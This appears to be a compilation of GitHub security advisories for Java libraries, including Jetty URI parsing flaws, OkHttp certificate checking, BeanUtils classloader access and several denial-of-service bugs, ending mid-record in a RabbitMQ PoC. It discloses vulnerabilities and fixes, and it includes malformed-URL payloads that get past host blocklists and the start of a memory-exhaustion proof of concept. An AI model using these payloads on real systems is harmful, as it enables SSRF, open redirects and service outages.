| http://browser.check &@vulndetector.com/ | vulndetector.com | browser.check |
| http://browser.check #@vulndetector.com/ | vulndetector.com | browser.check |
| http://browser.check?@vulndetector.com/ | vulndetector.com | browser.check |
| http://browser.check#@vulndetector.com/ | vulndetector.com | browser.check |
The problem of 302 redirect parsing in HTTP 302 Location
| Input | Jetty | Chrome |
|---|---|---|
| http://browser.check%5c/ | browser.check\ | browser.check |
It is noteworthy that Spring Web also faced similar security vulnerabilities, being affected by the aforementioned four types of payloads. These issues have since been resolved and have been assigned three CVE numbers [3-5].
Impact
The impact of this vulnerability is limited to developers that use the Jetty HttpURI directly. Example: your project implemented a blocklist to block on some hosts based on HttpURI's handling of authority section. The vulnerability will help attackers bypass the protections that developers have set up for hosts. The vulnerability will lead to SSRF[1] and URL Redirection[2] vulnerabilities in several cases.
Mitigation
The attacks outlined above rely on decoded user data being passed to the HttpURI class. Application should not pass decoded user data as an encoded URI to any URI class/method, including HttpURI. Such applications are likely to be vulnerable in other ways.
The immediate solution is to upgrade to a version of the class that will fully validate the characters of the URI authority. Ultimately, Jetty will deprecate and remove support for user info in the authority per RFC9110 Section 4.2.4.
Note that the Chrome (and other browsers) parse the invalid user info section improperly as well (due to flawed WhatWG URL parsing rules that do not apply outside of a Web Browser).
Reference
[1] https://cwe.mitre.org/data/definitions/918.html [2] https://cwe.mitre.org/data/definitions/601.html
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 12.0.11"
},
"package": {
"ecosystem": "Maven",
"name": "org.eclipse.jetty:jetty-http"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.0"
},
{
"fixed": "12.0.12"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-6763"
],
"database_specific": {
"cwe_ids": [
"CWE-1286"
],
"github_reviewed": true,
"github_reviewed_at": "2024-10-14T21:11:43Z",
"nvd_published_at": "2024-10-14T16:15:04Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nEclipse Jetty is a lightweight, highly scalable, Java-based web server and Servlet engine . It includes a utility class, `HttpURI`, for URI/URL parsing.\n\nThe `HttpURI` class does insufficient validation on the authority segment of a URI. However the behaviour of `HttpURI` differs from the common browsers in how it handles a URI that would be considered invalid if fully validated against the RRC. Specifically `HttpURI` and the browser may differ on the value of the host extracted from an invalid URI and thus a combination of Jetty and a vulnerable browser may be vulnerable to a open redirect attack or to a SSRF attack if the URI is used after passing validation checks.\n\n## Details\n\n### Affected components\n\nThe vulnerable component is the `HttpURI` class when used as a utility class in an application. The Jetty usage of the class is not vulnerable.\n\n### Attack overview\n\nThe `HttpURI` class does not well validate the authority section of a URI. When presented with an illegal authority that may contain user info (eg username:password#@hostname:port), then the parsing of the URI is not failed. Moreover, the interpretation of what part of the authority is the host name differs from a common browser in that they also do not fail, but they select a different host name from the illegal URI.\n\n### Attack scenario\n\nA typical attack scenario is illustrated in the diagram below. The Validator checks whether the attacker-supplied URL is on the blocklist. If not, the URI is passed to the Requester for redirection. The Requester is responsible for sending requests to the hostname specified by the URI.\n\nThis attack occurs when the Validator is the `org.eclipse.jetty.http.HttpURI` class and the Requester is the `Browser` (include chrome, firefox and Safari). An attacker can send a malformed URI to the Validator (e.g., `http://browser.check%23%40vulndetector.com/` ). After validation, the Validator finds that the hostname is not on the blocklist. However, the Requester can still send requests to the domain with the hostname `vulndetector.com`.\n\n## PoC\n\npayloads:\n\n```\nhttp://browser.check \u0026@vulndetector.com/\nhttp://browser.check #@vulndetector.com/\nhttp://browser.check?@vulndetector.com/\nhttp://browser.check#@vulndetector.com/\nhttp://vulndetector.com\\\\/\n```\n\nThe problem of 302 redirect parsing in HTML tag scenarios. Below is a poc example. After clicking the button, the browser will open \"browser.check\", and jetty will parse this URL as \"vulndetector.com\".\n\n```\n\u003ca href=\"http://browser.check#@vulndetector.com/\"\u003e\u003c/a\u003e\n```\nA comparison of the parsing differences between Jetty and chrome is shown in the table below (note that neither should accept the URI as valid).\n\n| Invalid URI | Jetty | Chrome |\n| ---------------------------------------------- | ---------------- | ------------- |\n| http://browser.check \u0026@vulndetector.com/ | vulndetector.com | browser.check |\n| http://browser.check #@vulndetector.com/ | vulndetector.com | browser.check |\n| http://browser.check?@vulndetector.com/ | vulndetector.com | browser.check |\n| http://browser.check#@vulndetector.com/ | vulndetector.com | browser.check |\n\nThe problem of 302 redirect parsing in HTTP 302 Location\n\n| Input | Jetty | Chrome |\n| ------------------------ | -------------- | ------------- |\n| http://browser.check%5c/ | browser.check\\ | browser.check |\n\nIt is noteworthy that Spring Web also faced similar security vulnerabilities, being affected by the aforementioned four types of payloads. These issues have since been resolved and have been assigned three CVE numbers [3-5].\n\n## Impact\n\nThe impact of this vulnerability is limited to developers that use the Jetty HttpURI directly. Example: your project implemented a blocklist to block on some hosts based on HttpURI\u0027s handling of authority section. The vulnerability will help attackers bypass the protections that developers have set up for hosts. The vulnerability will lead to **SSRF**[1] and **URL Redirection**[2] vulnerabilities in several cases. \n\n## Mitigation\n\nThe attacks outlined above rely on decoded user data being passed to the `HttpURI` class. Application should not pass decoded user data as an encoded URI to any URI class/method, including `HttpURI`. Such applications are likely to be vulnerable in other ways. \nThe immediate solution is to upgrade to a version of the class that will fully validate the characters of the URI authority. Ultimately, Jetty will deprecate and remove support for user info in the authority per [RFC9110 Section 4.2.4](https://datatracker.ietf.org/doc/html/rfc9110#section-4.2.4). \n\nNote that the Chrome (and other browsers) parse the invalid user info section improperly as well (due to flawed WhatWG URL parsing rules that do not apply outside of a Web Browser).\n\n## Reference\n\n[1] https://cwe.mitre.org/data/definitions/918.html\n[2] https://cwe.mitre.org/data/definitions/601.html",
"id": "GHSA-qh8g-58pp-2wxh",
"modified": "2025-03-07T13:49:23Z",
"published": "2024-10-14T21:11:43Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jetty/jetty.project/security/advisories/GHSA-qh8g-58pp-2wxh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-6763"
},
{
"type": "WEB",
"url": "https://github.com/jetty/jetty.project/pull/12012"
},
{
"type": "PACKAGE",
"url": "https://github.com/jetty/jetty.project"
},
{
"type": "WEB",
"url": "https://gitlab.eclipse.org/security/cve-assignement/-/issues/25"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20250306-0005"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Eclipse Jetty URI parsing of invalid authority"
}
GHSA-3CQM-MF7H-PRRJ
Vulnerability from github – Published: 2022-05-24 17:41 – Updated: 2025-11-13 16:34In verifyHostName of OkHostnameVerifier.java, there is a possible way to accept a certificate for the wrong domain due to improperly used crypto. This could lead to remote information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation. Product: AndroidVersions: Android-8.1 Android-9 Android-10 Android-11 Android ID: A-171980069
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.squareup.okhttp3:okhttp"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.9.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-0341"
],
"database_specific": {
"cwe_ids": [
"CWE-295"
],
"github_reviewed": true,
"github_reviewed_at": "2025-11-13T16:34:06Z",
"nvd_published_at": "2021-02-10T17:15:00Z",
"severity": "HIGH"
},
"details": "In verifyHostName of OkHostnameVerifier.java, there is a possible way to accept a certificate for the wrong domain due to improperly used crypto. This could lead to remote information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation. Product: AndroidVersions: Android-8.1 Android-9 Android-10 Android-11 Android ID: A-171980069",
"id": "GHSA-3cqm-mf7h-prrj",
"modified": "2025-11-13T16:34:06Z",
"published": "2022-05-24T17:41:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-0341"
},
{
"type": "WEB",
"url": "https://github.com/square/okhttp/issues/6724"
},
{
"type": "WEB",
"url": "https://github.com/square/okhttp/pull/6741"
},
{
"type": "WEB",
"url": "https://github.com/square/okhttp/commit/f574ea2f5259d9040f264ddeb582fb1ce563f10c"
},
{
"type": "PACKAGE",
"url": "https://github.com/square/okhttp"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/2021-02-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Square OkHttp can accept the wrong certificate"
}
GHSA-QQPG-MVQG-649V
Vulnerability from github – Published: 2026-01-22 12:31 – Updated: 2026-01-22 18:06ACE vulnerability in configuration file processing by QOS.CH logback-core up to and including version 1.5.24 in Java applications, allows an attacker to instantiate classes already present on the class path by compromising an existing logback configuration file.
The instantiation of a potentially malicious Java class requires that said class is present on the user's class-path. In addition, the attacker must have write access to a configuration file. However, after successful instantiation, the instance is very likely to be discarded with no further ado.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "ch.qos.logback:logback-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.5.25"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-1225"
],
"database_specific": {
"cwe_ids": [
"CWE-20"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-22T18:06:44Z",
"nvd_published_at": "2026-01-22T10:16:07Z",
"severity": "LOW"
},
"details": "ACE vulnerability in configuration file processing by QOS.CH logback-core up to and including version 1.5.24 in Java applications, allows an attacker to instantiate classes already present on the class path by compromising an existing logback configuration file.\n\nThe instantiation of a potentially malicious Java class requires that said class is present on the user\u0027s class-path. In addition, the attacker must have write access to a configuration file. However, after successful instantiation, the instance is very likely to be discarded with no further ado.",
"id": "GHSA-qqpg-mvqg-649v",
"modified": "2026-01-22T18:06:44Z",
"published": "2026-01-22T12:31:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1225"
},
{
"type": "WEB",
"url": "https://github.com/qos-ch/logback/issues/997"
},
{
"type": "WEB",
"url": "https://github.com/qos-ch/logback/commit/1f97ae1844b1be8486e4e9cade98d7123d3eded5"
},
{
"type": "PACKAGE",
"url": "https://github.com/qos-ch/logback"
},
{
"type": "WEB",
"url": "https://logback.qos.ch/news.html#1.5.25"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:H/AT:P/PR:H/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L",
"type": "CVSS_V4"
}
],
"summary": "Logback allows an attacker to instantiate classes already present on the class path"
}
GHSA-WJPW-4J6X-6RWH
Vulnerability from github – Published: 2026-03-05 21:41 – Updated: 2026-03-05 21:41The Jetty URI parser has some key differences compared to other common parsers when evaluating invalid or unusual URIs. Specifically:
Invalid Scheme
| URI | Jetty | uri-js (nodejs) | node-url(nodejs) |
|---|---|---|---|
https>://vulndetector.com/path |
scheme=http> |
scheme=https |
invalid URI |
Improper IPv4 mapped IPv6
| URI | Jetty | System.Uri(CSharp) | curl(C) |
|---|---|---|---|
http://[0:0:0:0:0:ffff:127.0.0.1] |
invalid | host=[::ffff:127.0.0.1] |
host=[::ffff:127.0.0.1] |
http://[::ffff:255.255.0.0] |
invalid | host=[::ffff:255.255.0.0] |
host=[::ffff:255.255.0.0] |
Incorrect IPv6 delimeter priority
| URI | Jetty | urllib3(python) | furl(python) | Spring | chromium |
|---|---|---|---|---|---|
http://[normal.com@]vulndetector.com/ |
host=[normal.com@] |
invalid | invalid | ||
http://normal.com[user@vulndetector].com/ |
host=[noirmal.com@vulndetector | | | host=normal.com` |
invalid | |||
http://normal.com[@]vulndetector.com/ |
host=normal.com[@] | | | host=normal.com` |
invalid |
Incorrect delimeter priority
| URI | Jetty | urllib3(python) | jersey |
|---|---|---|---|
http://normal.com/#@vulndetector.com |
host=vulndetector.com |
host=normal.com |
host=normal.com |
http://normal.com/?@vulndetector.com |
host=vulndetector.com |
host=normal.com |
host=normal.com |
Impact
Differential parsing of URIs in systems using multiple components may result in security by-pass. For example a component that enforces a black list may interpret the URIs differently from one that generates a response. At the very least, differential parsing may divulge implementation details.
Patches
Patched in Supported Open Source versions. * 12.1.5 - Supported and available on Maven Central * 12.0.31 - Supported and available on Maven Central * 11.0.x - EOL Release, patches available on tuxcare and herodevs * 10.0.x - EOL Release, patches available on tuxcare and herodevs * 9.4.x - EOL Release, patches available on tuxcare and herodevs
Workarounds
None
Resources
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.eclipse.jetty:jetty-http"
},
"ranges": [
{
"events": [
{
"introduced": "9.4.0"
},
{
"last_affected": "9.4.58"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.eclipse.jetty:jetty-http"
},
"ranges": [
{
"events": [
{
"introduced": "10.0.0"
},
{
"last_affected": "10.0.26"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.eclipse.jetty:jetty-http"
},
"ranges": [
{
"events": [
{
"introduced": "11.0.0"
},
{
"last_affected": "11.0.26"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 12.0.30"
},
"package": {
"ecosystem": "Maven",
"name": "org.eclipse.jetty:jetty-http"
},
"ranges": [
{
"events": [
{
"introduced": "12.0.0"
},
{
"fixed": "12.0.31"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 12.1.4"
},
"package": {
"ecosystem": "Maven",
"name": "org.eclipse.jetty:jetty-http"
},
"ranges": [
{
"events": [
{
"introduced": "12.1.0"
},
{
"fixed": "12.1.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-11143"
],
"database_specific": {
"cwe_ids": [
"CWE-20"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-05T21:41:25Z",
"nvd_published_at": "2026-03-05T10:15:54Z",
"severity": "LOW"
},
"details": "The Jetty URI parser has some key differences compared to other common parsers when evaluating invalid or unusual URIs. Specifically:\n\n#### Invalid Scheme\n| URI | Jetty | uri-js (nodejs) | node-url(nodejs) |\n|---|---|---| --- |\n| `https\u003e://vulndetector.com/path` | scheme=`http\u003e`| scheme=`https` | invalid URI |\n\n#### Improper IPv4 mapped IPv6\n\n| URI | Jetty | System.Uri(CSharp) | curl(C) |\n|---|---|---| --- |\n| `http://[0:0:0:0:0:ffff:127.0.0.1]` | invalid | host=`[::ffff:127.0.0.1]` | host=`[::ffff:127.0.0.1]` | \n| `http://[::ffff:255.255.0.0]` | invalid | host=`[::ffff:255.255.0.0]` | host=`[::ffff:255.255.0.0]` | \n\n#### Incorrect IPv6 delimeter priority\n\n| URI | Jetty | urllib3(python) | furl(python) | Spring | chromium |\n|---|---|---| --- |---|---|\n| `http://[normal.com@]vulndetector.com/` | host=`[normal.com@]` | invalid | invalid | | |\n| `http://normal.com[user@vulndetector].com/` | host=`[noirmal.com@vulndetector | | | host=`normal.com` | invalid |\n| `http://normal.com[@]vulndetector.com/` | host=`normal.com[@] | | | host=`normal.com` | invalid |\n\n#### Incorrect delimeter priority\n\n| URI | Jetty | urllib3(python) | jersey |\n|---|---|---| --- |\n| `http://normal.com/#@vulndetector.com` | host=`vulndetector.com` | host=`normal.com` | host=`normal.com` |\n| `http://normal.com/?@vulndetector.com` | host=`vulndetector.com` | host=`normal.com` | host=`normal.com` |\n\n\n### Impact\nDifferential parsing of URIs in systems using multiple components may result in security by-pass. For example a component that enforces a black list may interpret the URIs differently from one that generates a response.\nAt the very least, differential parsing may divulge implementation details. \n\n### Patches\nPatched in Supported Open Source versions.\n* 12.1.5 - Supported and available on Maven Central\n* 12.0.31 - Supported and available on Maven Central\n* 11.0.x - EOL Release, patches available on [tuxcare](https://tuxcare.com/) and [herodevs](https://www.herodevs.com/)\n* 10.0.x - EOL Release, patches available on [tuxcare](https://tuxcare.com/) and [herodevs](https://www.herodevs.com/)\n* 9.4.x - EOL Release, patches available on [tuxcare](https://tuxcare.com/) and [herodevs](https://www.herodevs.com/)\n\n### Workarounds\nNone\n\n### Resources\n\n + [Java Eclipse Jetty Report_ Incorrect Parsing Priority of the IPv6 Hostname Delimeter.pdf](https://github.com/user-attachments/files/22222625/Java.Eclipse.Jetty.Report_.Incorrect.Parsing.Priority.of.the.IPv6.Hostname.Delimeter.pdf)\n + [Java Eclipse Jetty Report_ The Parsing Priority of the Delimiter.pdf](https://github.com/user-attachments/files/22222626/Java.Eclipse.Jetty.Report_.The.Parsing.Priority.of.the.Delimiter.pdf)\n + [Java Eclipse Jetty Report_ Parsing Difference Due to Deformed Scheme.pdf](https://github.com/user-attachments/files/22222627/Java.Eclipse.Jetty.Report_.Parsing.Difference.Due.to.Deformed.Scheme.pdf)\n + [Java Eclipse Jetty Report_ Improper IPv4-mapped IPv6 Parsing.pdf](https://github.com/user-attachments/files/22222630/Java.Eclipse.Jetty.Report_.Improper.IPv4-mapped.IPv6.Parsing.pdf)",
"id": "GHSA-wjpw-4j6x-6rwh",
"modified": "2026-03-05T21:41:25Z",
"published": "2026-03-05T21:41:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jetty/jetty.project/security/advisories/GHSA-wjpw-4j6x-6rwh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11143"
},
{
"type": "PACKAGE",
"url": "https://github.com/jetty/jetty.project"
},
{
"type": "WEB",
"url": "https://github.com/user-attachments/files/22222625/Java.Eclipse.Jetty.Report_.Incorrect.Parsing.Priority.of.the.IPv6.Hostname.Delimeter.pdf"
},
{
"type": "WEB",
"url": "https://github.com/user-attachments/files/22222626/Java.Eclipse.Jetty.Report_.The.Parsing.Priority.of.the.Delimiter.pdf"
},
{
"type": "WEB",
"url": "https://github.com/user-attachments/files/22222627/Java.Eclipse.Jetty.Report_.Parsing.Difference.Due.to.Deformed.Scheme.pdf"
},
{
"type": "WEB",
"url": "https://github.com/user-attachments/files/22222630/Java.Eclipse.Jetty.Report_.Improper.IPv4-mapped.IPv6.Parsing.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "org.eclipse.jetty:jetty-http has different parsing of invalid URIs"
}
GHSA-WXR5-93PH-8WR9
Vulnerability from github – Published: 2025-05-28 15:34 – Updated: 2025-11-03 21:33Improper Access Control vulnerability in Apache Commons.
A special BeanIntrospector class was added in version 1.9.2. This can be used to stop attackers from using the declared class property of Java enum objects to get access to the classloader. However this protection was not enabled by default. PropertyUtilsBean (and consequently BeanUtilsBean) now disallows declared class level property access by default.
Releases 1.11.0 and 2.0.0-M2 address a potential security issue when accessing enum properties in an uncontrolled way. If an application using Commons BeanUtils passes property paths from an external source directly to the getProperty() method of PropertyUtilsBean, an attacker can access the enum’s class loader via the “declaredClass” property available on all Java “enum” objects. Accessing the enum’s “declaredClass” allows remote attackers to access the ClassLoader and execute arbitrary code. The same issue exists with PropertyUtilsBean.getNestedProperty(). Starting in versions 1.11.0 and 2.0.0-M2 a special BeanIntrospector suppresses the “declaredClass” property. Note that this new BeanIntrospector is enabled by default, but you can disable it to regain the old behavior; see section 2.5 of the user's guide and the unit tests.
This issue affects Apache Commons BeanUtils 1.x before 1.11.0, and 2.x before 2.0.0-M2.Users of the artifact commons-beanutils:commons-beanutils
1.x are recommended to upgrade to version 1.11.0, which fixes the issue.
Users of the artifact org.apache.commons:commons-beanutils2
2.x are recommended to upgrade to version 2.0.0-M2, which fixes the issue.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.10.1"
},
"package": {
"ecosystem": "Maven",
"name": "commons-beanutils:commons-beanutils"
},
"ranges": [
{
"events": [
{
"introduced": "1.0"
},
{
"fixed": "1.11.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.commons:commons-beanutils2"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0-M1"
},
{
"fixed": "2.0.0-M2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-48734"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": true,
"github_reviewed_at": "2025-05-28T17:37:18Z",
"nvd_published_at": "2025-05-28T14:15:34Z",
"severity": "HIGH"
},
"details": "Improper Access Control vulnerability in Apache Commons.\n\n\n\nA special BeanIntrospector class was added in version 1.9.2. This can be used to stop attackers from using the declared class property of Java enum objects to get access to the classloader. However this protection was not enabled by default. PropertyUtilsBean (and consequently BeanUtilsBean) now disallows declared class level property access by default.\n\n\n\n\n\nReleases 1.11.0 and 2.0.0-M2 address a potential security issue when accessing enum properties in an uncontrolled way. If an application using Commons BeanUtils passes property paths from an external source directly to the getProperty() method of PropertyUtilsBean, an attacker can access the enum\u2019s class loader via the \u201cdeclaredClass\u201d property available on all Java \u201cenum\u201d objects. Accessing the enum\u2019s \u201cdeclaredClass\u201d allows remote attackers to access the ClassLoader and execute arbitrary code. The same issue exists with PropertyUtilsBean.getNestedProperty().\nStarting in versions 1.11.0 and 2.0.0-M2 a special BeanIntrospector suppresses the \u201cdeclaredClass\u201d property. Note that this new BeanIntrospector is enabled by default, but you can disable it to regain the old behavior; see section 2.5 of the user\u0027s guide and the unit tests.\n\nThis issue affects Apache Commons BeanUtils 1.x before 1.11.0, and 2.x before 2.0.0-M2.Users of the artifact commons-beanutils:commons-beanutils\n\n 1.x are recommended to upgrade to version 1.11.0, which fixes the issue.\n\n\nUsers of the artifact org.apache.commons:commons-beanutils2\n\n 2.x are recommended to upgrade to version 2.0.0-M2, which fixes the issue.",
"id": "GHSA-wxr5-93ph-8wr9",
"modified": "2025-11-03T21:33:58Z",
"published": "2025-05-28T15:34:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48734"
},
{
"type": "WEB",
"url": "https://github.com/apache/commons-beanutils/commit/bd20740da25b69552ddef8523beec0837297eaf9"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/commons-beanutils"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/s0hb3jkfj5f3ryx6c57zqtfohb0of1g9"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2025/06/msg00027.html"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2025/05/28/6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Apache Commons Improper Access Control vulnerability"
}
GHSA-FX2C-96VJ-985V
Vulnerability from github – Published: 2022-12-12 21:24 – Updated: 2023-01-13 17:18Impact
A StackOverflowError can be raised when parsing a malformed crafted message due to an infinite recursion.
Patches
Users should upgrade to 4.1.86.Final.
Workarounds
There is no workaround, except using a custom HaProxyMessageDecoder.
References
When parsing a TLV with type = PP2_TYPE_SSL, the value can be again a TLV with type = PP2_TYPE_SSL and so on. The only limitation of the recursion is that the TLV length cannot be bigger than 0xffff because it is encoded in an unsigned short type. Providing a TLV with a nesting level that is large enough will lead to raising of a StackOverflowError. The StackOverflowError will be caught if HAProxyMessageDecoder is used as part of Netty’s ChannelPipeline, but using it directly without the ChannelPipeline will lead to a thrown exception / crash.
For more information
If you have any questions or comments about this advisory: * Open an issue in netty
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-haproxy"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.86.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-41881"
],
"database_specific": {
"cwe_ids": [
"CWE-674"
],
"github_reviewed": true,
"github_reviewed_at": "2022-12-12T21:24:29Z",
"nvd_published_at": "2022-12-12T18:15:00Z",
"severity": "MODERATE"
},
"details": "### Impact\nA StackOverflowError can be raised when parsing a malformed crafted message due to an infinite recursion.\n\n### Patches\nUsers should upgrade to 4.1.86.Final.\n\n### Workarounds\nThere is no workaround, except using a custom HaProxyMessageDecoder.\n\n### References\nWhen parsing a TLV with type = PP2_TYPE_SSL, the value can be again a TLV with type = PP2_TYPE_SSL and so on.\nThe only limitation of the recursion is that the TLV length cannot be bigger than 0xffff because it is encoded in an unsigned short type.\nProviding a TLV with a nesting level that is large enough will lead to raising of a StackOverflowError.\nThe StackOverflowError will be caught if HAProxyMessageDecoder is used as part of Netty\u2019s ChannelPipeline, but using it directly without the ChannelPipeline will lead to a thrown exception / crash.\n\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [netty](https://github.com/netty/netty)\n",
"id": "GHSA-fx2c-96vj-985v",
"modified": "2023-01-13T17:18:24Z",
"published": "2022-12-12T21:24:29Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-fx2c-96vj-985v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-41881"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2023/01/msg00008.html"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20230113-0004"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2023/dsa-5316"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "HAProxyMessageDecoder Stack Exhaustion DoS"
}
GHSA-H9MQ-F6Q5-6C8M
Vulnerability from github – Published: 2024-07-30 09:31 – Updated: 2024-07-30 15:08GraphQL Java (aka graphql-java) before 21.5 does not properly consider ExecutableNormalizedFields (ENFs) as part of preventing denial of service via introspection queries. 20.9 and 19.11 are also fixed versions.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.graphql-java:graphql-java"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "19.11"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.graphql-java:graphql-java"
},
"ranges": [
{
"events": [
{
"introduced": "20.0"
},
{
"fixed": "20.9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.graphql-java:graphql-java"
},
"ranges": [
{
"events": [
{
"introduced": "21.0"
},
{
"fixed": "21.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-40094"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2024-07-30T15:08:48Z",
"nvd_published_at": "2024-07-30T07:15:01Z",
"severity": "HIGH"
},
"details": "GraphQL Java (aka graphql-java) before 21.5 does not properly consider ExecutableNormalizedFields (ENFs) as part of preventing denial of service via introspection queries. 20.9 and 19.11 are also fixed versions.",
"id": "GHSA-h9mq-f6q5-6c8m",
"modified": "2024-07-30T15:08:48Z",
"published": "2024-07-30T09:31:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-40094"
},
{
"type": "WEB",
"url": "https://github.com/graphql-java/graphql-java/pull/3539"
},
{
"type": "WEB",
"url": "https://github.com/graphql-java/graphql-java/commit/16c159111507ef04d7e1839b2c23281d90c42b2b"
},
{
"type": "WEB",
"url": "https://github.com/graphql-java/graphql-java/commit/469caf6ee600ab6709ad5e8a06f371fe2ef3b8dd"
},
{
"type": "WEB",
"url": "https://github.com/graphql-java/graphql-java/commit/97743bc1b5caa2b0bd894dc8e128b47e4d771e4a"
},
{
"type": "WEB",
"url": "https://github.com/graphql-java/graphql-java/commit/fc6f304e66cab18b6d06a80c7009524938939a03"
},
{
"type": "WEB",
"url": "https://github.com/graphql-java/graphql-java/discussions/3641"
},
{
"type": "WEB",
"url": "https://github.com/graphql-java/graphql-java/releases/tag/v19.11"
},
{
"type": "WEB",
"url": "https://github.com/graphql-java/graphql-java/releases/tag/v20.9"
},
{
"type": "WEB",
"url": "https://github.com/graphql-java/graphql-java/releases/tag/v21.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "GraphQL Java does not properly consider ExecutableNormalizedFields (ENFs) as part of preventing denial of service"
}
GHSA-MM8H-8587-P46H
Vulnerability from github – Published: 2023-10-24 01:49 – Updated: 2023-10-27 20:47Summary
maxBodyLebgth was not used when receiving Message objects. Attackers could just send a very large Message causing a memory overflow and triggering an OOM Error.
PoC
RbbitMQ
- Use RabbitMQ 3.11.16 as MQ and specify Message Body size 512M (here it only needs to be larger than the Consumer memory)
- Start RabbitMQ
Producer
- Build a String of length 256M and send it to Consumer
package org.springframework.amqp.helloworld;
import org.springframework.amqp.core.AmqpTemplate;
import org.springframework.context.ApplicationContext;
import org.springframework.context.annotation.AnnotationConfigApplicationContext;
public class Producer {
public static void main(String[] args) {
